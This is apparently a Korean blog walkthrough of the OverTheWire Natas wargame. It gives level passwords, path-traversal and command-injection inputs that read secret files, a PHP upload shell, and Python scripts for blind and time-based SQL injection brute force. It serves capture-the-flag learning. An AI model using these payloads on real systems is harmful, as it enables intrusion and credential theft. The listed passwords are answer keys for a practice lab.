overthewire : NATAS
by 담배맛구마난 컴알못이니까 NATAS
Level 0
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
Level 0 to 1
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Level 1 to 2
1x1 이미지 하나있길래 다운로드 받아서 코드 봤더니 별 이상 없군
그냥 디렉토리 리스팅하니까 users.txt 존재
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Level 2 to 3
<!-- No more information leaks!! Not even Google will find it this time... --> 이라네
모르겠다 이거 쿠키인줄 알고 EditThisCookie 부랴부랴 설치했는데 음슴
아 Not even Google will find it this time... 이 말이 Google Robot을 말하는 거였대 ㅠ
http://natas0.natas.labs.overthewire.org/robots.txt보면
User-agent: *
Disallow: /s3cr3t/
그니까 /s3cr3t/는 Robot이 크롤링 못하게 막는 다는 거니까
http://natas0.natas.labs.overthewire.org/s3cr3t/ 들어가면 여기도 users.txt있음
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Level 3 to 4
현재 페이지 http://natas4.natas.labs.overthewire.org/
Refresh page 버튼 누르면
현재 페이지 http://natas4.natas.labs.overthewire.org/index.php
인가 받은 유저가
natas5.natas.labs.overthewire.org에서
natas4.natas.labs.overthewire.org로 요청해야 됨
프록시로
현재 요청하는 페이지를 natas5.natas.labs.overthewire.org로 만들어버리면 될 듯
Paros 밖에 쓸줄 모르는데 핫 하다는 Fiddler로 해보자
Referer 수정
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 4 to 5
걍 쿠키 확인해보니까 loggedin이 0이길래 1로 바꾸니까 됨
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 5 to 6
소스버튼 누르면 서버측 소스코드가 보임
제출한 문자열이랑 $secret 변수랑 비교하고있고 $secret 변수는 따로 정의되어있지 않을걸로 보아
상단에 include된 includes/secret.inc문서에 있을 듯
$secret = "FOEIUWGHFEEUHOFUOIU";
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Level 6 to 7
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
주요소스는 아래와 같은데 딱 느낌이 매개변수 변경해보고 싶다
<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
이번건은 에러페이지를 통한 정보수집인것 같다
패스워드는 /etc/natas_webpass/natas8에 있고
현재 페이지는 /var/www/natas/natas7/index.php이다.
/var/www/natas/natas7/index.php?page=account 했을 때, account파일을 찾을 수 없다고 했어
account 파일을 찾는 위치는 .(현재 디렉토리), /usr/share/php, /usr/share/pear 이렇게 3군데
page값에다가 ../../../../etc/natas_webpass/natas8 넣으면 될 듯
물론 page=../../../../etc/natas_webpass/natas8 이렇게 넣으면 안되고 URL 인코딩
natas7.natas.labs.overthewire.org/index.php?page=..%2f..%2f..%2f..%2fetc%2fnatas_webpass%2fnatas8
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Level 7 to 8
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
encodeSecret 돌린 문자열이 $encodedSecret 이랑 똑같아지게끔 하면 됨
bin2hex를 그냥 진법 변환이 아니라 아스키값을 의미!
이것 때문에 많이 헤맴
==QcCtmMml1ViV3b
b3ViV1lmMmtCcQ==
oubWYf2kBq
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 8 to 9
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
쉽네 grep -i . /etc/natas_webpass/natas10 dictionary.txt
이렇게 실행되게 만들면 되니까
. /etc/natas_webpass/natas10 입력
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
.....
Level 9 to 10
For security reasons, we now filter on certain characters 헐 ㅋ
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
필터링이라는게 '/[;|&]/' 이런 정규표현식이 안 들어가게
grep -i . /etc/natas_webpass/natas11 dictionary.txt
이 되게끔 하라는거네
근데 난 위에 했던 그대로 해도 가능함 뭐지?
필터링 자체는 세미콜론이랑 & 인것같은데 또 다른 풀이법이 있는 듯
아마 파이프 && 이런거 쓰는 것 같기도
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 10 to 11
Cookies are protected with XOR encryption
소스코드는 굳이 안적고 이번 문제는 XOR_encryption함수를 풀어야되는거네
전체적인 흐름은
1st) $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
2nd) COOKIE에 변경된 값들이 있는지 확인
i) 있으면 가져와서 $data에 저장
ii) 없으면 걍 $defaultdata를 $data에 저장
3rd) 인풋으로 넘겨준 bgcolor값을 $data에 저장
4th) Cookie에 data라는 이름으로 저장
문제의 그 함수는 아래와 같다
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0; $i<strlen($text); $i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
Key값이랑 XOR연산이니까 정리하자면
새로운 Cookie값 = 기존의 Cookie값 ^ Key값
이고
Key값 = 새로운 Cookie값 ^ 기존의 Cookie값
이라는걸 생각하고 풀면될 것 같다.
<?php
$origin_cookie = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D");
function xor_encrypt($in) {
$key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';
// Iterate through each character
for($i=0; $i<strlen($text); $i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo xor_encrypt($origin_cookie);
?>
결과값은 qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8JqL
key값이 qw8J로 확인
인제 key도 알았으니 showpassword이 yes일 때의 cookie값만 구해내면 됨
<?
$newdata = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
function xor_encrypt($in) {
$key = "qw8J";
$text = $in;
$outText = '';
for($i=0; $i < strlen($text); $i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt($newdata));
?>
값은 ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 11 to 12
filename 파라미터로 [ 랜덤생성한값.jpg ] 전송
filename으로 부터 확장자 추출해서 upload.또다른랜덤생성한값.확장자 이런식으로 파일 생성
프록시로 파일 넘길 때, filename 파라미터 값을 test.php로 변경해서 전송하면
upload/또다른랜덤생성한값.php으로 생성되서 php실행 가능해질 것 같다
업로드 시킬 php 문서는
<?
passthru("cat /etc/natas_webpass/natas13");
?>
이거하면 될 것 같음
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 12 to 13
파일 시그니쳐 변경
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 13 to 14
SQL INJECTION
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 14 to 15
BLIND SQL INJECTION
Brute Force 코드 처음 짜본다. 재밋다
#Set Hedaer
import urllib, urllib2
import base64
baseUrl ="http://natas15.natas.labs.overthewire.org/index.php"
authValue = "Basic "+ base64.encodestring('natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')[:-1]
header = {"Authorization" : authValue}
#Create Reg
import re
resultReg = re.compile("This user exists\.")
#Create string
import string
btStr = string.letters + string.digits
#Create Thread, Queue
import threading
import Queue
que = Queue.Queue()
def query(q):
resp = urllib2.urlopen(urllib2.Request(baseUrl, q, headers = header))
if resultReg.search(resp.read()):
que.put(q)
#Check Password Length
queryString1 = "username=natas16\" AND LENGTH(password)=\"{0}"
threads = []
for passwordLen in xrange(0,65):
t = threading.Thread(target=query, args=(queryString1.format(passwordLen),))
t.start()
threads.append(t)
for thread in threads:
thread.join()
passwordLen = que.get(True)[-2:]
print "PASSWORD LENGTH : " + passwordLen
#Brute Force
password = ""
queryString2 = "username=natas16\" AND SUBSTRING(password, {0}, 1) LIKE BINARY \"{1}"
for count in xrange(1, int(passwordLen)+1):
threads = []
for bt in btStr:
t = threading.Thread(target=query, args=(queryString2.format(count, bt),))
t.start()
threads.append(t)
for thread in threads:
thread.join()
password += que.get(True)[-1:]
print "PASSWORD : " + password
출력
PASSWORD LENGTH : 32
PASSWORD : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 15 to 16
이번꺼는 Bash의 Command Line에서 명령어 실행하는거
$(echo a) 하면 걍 문자 a 임 - 몰라서 해멤
#Set Hedaer
from urllib import urlencode
import urllib2
from base64 import encodestring
baseUrl ="http://natas16.natas.labs.overthewire.org/index.php"
authValue = "Basic "+ encodestring('natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')[:-1]
header = {"Authorization" : authValue}
#Create Reg
import re
resultReg = re.compile("cheers")
#Create string
import string
btStr = string.letters + string.digits
#Create Thread, Queue
import threading
import Queue
password = ""
queryString = "$(grep -e ^{0} /etc/natas_webpass/natas17)cheers"
que = Queue.Queue()
def query(bt):
q = "?" + urlencode({"needle" : queryString.format(password + bt), "submit" : "Search"})
resp = urllib2.urlopen(urllib2.Request(baseUrl + q, headers = header))
if resultReg.search(resp.read()):
return
else :
que.put(bt)
#Brute Force
threads = []
for count in xrange(0, 32):
for bt in btStr:
t = threading.Thread(target=query, args=(bt, ))
t.start()
threads.append(t)
for thread in threads:
thread.join()
password += que.get(True)
print "FOUND : " + password + "#" * int(32 - len(password))
print "PASSWORD : " + password
PASSWORD : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 16 to 17
이건 SQL Query에 대한 응답값을 얻을 수 없네 정상적이든 뭐든 응답값을 주석처리해놨어
이상하다... SLEEP() 명령어 자체를 안받는다 ㅋㅋㅋㅋㅋ 고장났나??
인터넷에 코드들 그대로 박아도 실행안됨 ㅋㅋㅋㅋㅋㅋ
'17. 2. 8. 다시 시작! 근데 이번에는 SLEEP 제대로 먹히네 ㅠㅠ 코드도 옛날꺼 그대론데... 화난다
하... LENGTH가 안먹혀서 고생고생하다가 CHAR_LENGTH라는거 써보니까 됨
import urllib, urllib2
from base64 import encodestring
import time
import string
import threading
import Queue
base_url = "http://natas17.natas.labs.overthewire.org/index.php?debug=True"
header = {"Authorization" : "Basic "+ encodestring('natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')[:-1]}
que = Queue.Queue()
time_of_sleep = 10
def query(q):
time_start = time.time()
resp = urllib2.urlopen(urllib2.Request(base_url, q, headers = header))
time_interval = time.time() - time_start
if time_interval > time_of_sleep:
que.put(q)
#Check Password Length
threads = []
queryString1 = 'natas18" AND IF(CHAR_LENGTH(password)="{0}", SLEEP({1}), null);#{0}'
for passwordLen in xrange(1, 65):
q = urllib.urlencode({'username' : queryString1.format(passwordLen, time_of_sleep)})
t = threading.Thread(target=query, args=(q,))
t.start()
threads.append(t)
for thread in threads:
thread.join()
passwordLen = que.get(True)[-2:]
print "PASSWORD LENGH : " + str(passwordLen)
#Find out password!
password = ""
dictionary = string.letters + string.digits
queryString2 = 'natas18" AND IF(SUBSTRING(password, {0}, 1) LIKE BINARY "{1}", SLEEP({2}), null);#{1}'
threads = []
for count in xrange(1, int(passwordLen)+1):
print "PASSWORD : " + password + "*"*(passwordLen-count)
for dic in dictionary:
q = urllib.urlencode({'username' : queryString2.format(count, dic, time_of_sleep)})
t = threading.Thread(target=query, args=(q, ))
t.start()
threads.append(t)
for thread in threads:
thread.join()
password += que.get(True)[-1:]
print password
PASSWORD : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18 to 19
Level 15 to 16
Level 15 to 16
'Secu-' 카테고리의 다른 글
[Vuln] [Intel SA-00125] 인텔 펌웨어 취약점 (2) | 2018.10.11 |
---|---|
[Vuln] [Intel SA-00086] 인텔 펌웨어 취약점 (0) | 2018.07.29 |
[Vuln] .Net Framework Update (0) | 2017.09.22 |
overthewire.org : Bandit (0) | 2016.01.17 |
유무선공유기 DNS 변조 발견과 대처 (0) | 2015.04.07 |
블로그의 정보
정윤상이다.
담배맛구마